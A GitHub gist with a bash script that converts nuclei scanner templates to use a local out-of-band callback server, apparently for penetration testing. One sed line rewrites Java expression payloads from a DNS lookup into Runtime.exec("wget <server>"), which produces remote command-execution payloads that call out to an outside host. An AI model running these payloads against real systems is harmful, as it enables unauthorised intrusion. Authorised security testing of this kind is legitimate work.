Skip to content

Instantly share code, notes, and snippets.

@dreizehnutters
Last active March 26, 2023 00:55
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dreizehnutters/047d042871da04ee4254bf41e9e3637a to your computer and use it in GitHub Desktop.
Save dreizehnutters/047d042871da04ee4254bf41e9e3637a to your computer and use it in GitHub Desktop.
# This script generates nuclei templates for out-of-band testing using a local server in the same network as the target. (no Interactsh needed)
#!/bin/bash
# This script generates nuclei templates for out-of-band
# testing using a local server in the same network as the target.
# (no Interactsh needed)
template_dir="$1"
oob_server="$2"
if [ -z "$template_dir" ] || [ -z "$oob_server" ]; then
echo "Usage: $0 TEMPLATE_DIR OOB_SERVER"
echo " TEMPLATE_DIR: Path to the directory containing templates."
echo " OOB_SERVER: URL of the OOB server."
exit 1
fi
# Check if template directory exists
if [ ! -d "$template_dir" ]; then
echo "Error: the template directory does not exist."
exit 1
fi
# Check if OOB server URL is valid
if ! curl --output /dev/null --silent --head --fail "$oob_server"; then
echo "Error: the OOB server URL is not valid."
exit 1
fi
# Create out-of-band directory
out_of_band_directory="$template_dir/oob"
rm -rf "$out_of_band_directory"
mkdir -p "$out_of_band_directory"
# Edit template files
for file in $(grep -lr "interactsh-url" "$template_dir"); do
echo "[*] editing file: ${file##*/}"
new_content=$(sed "s#{{interactsh-url}}#$oob_server/${file##*/}#g" "$file")
new_content=$(echo "$new_content" | sed 's/T(java\.net\.InetAddress)\.getByName("\([^"]*\)"/T(java.lang.Runtime).getRuntime().exec("wget \1"/g')
echo "$new_content" > "$out_of_band_directory/${file##*/}" || { echo "Error: failed to edit file ${file##*/}"; exit 1; }
done
echo "Finished creating out-of-band templates in $out_of_band_directory."
exit 0
@dreizehnutters
Copy link
Author

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment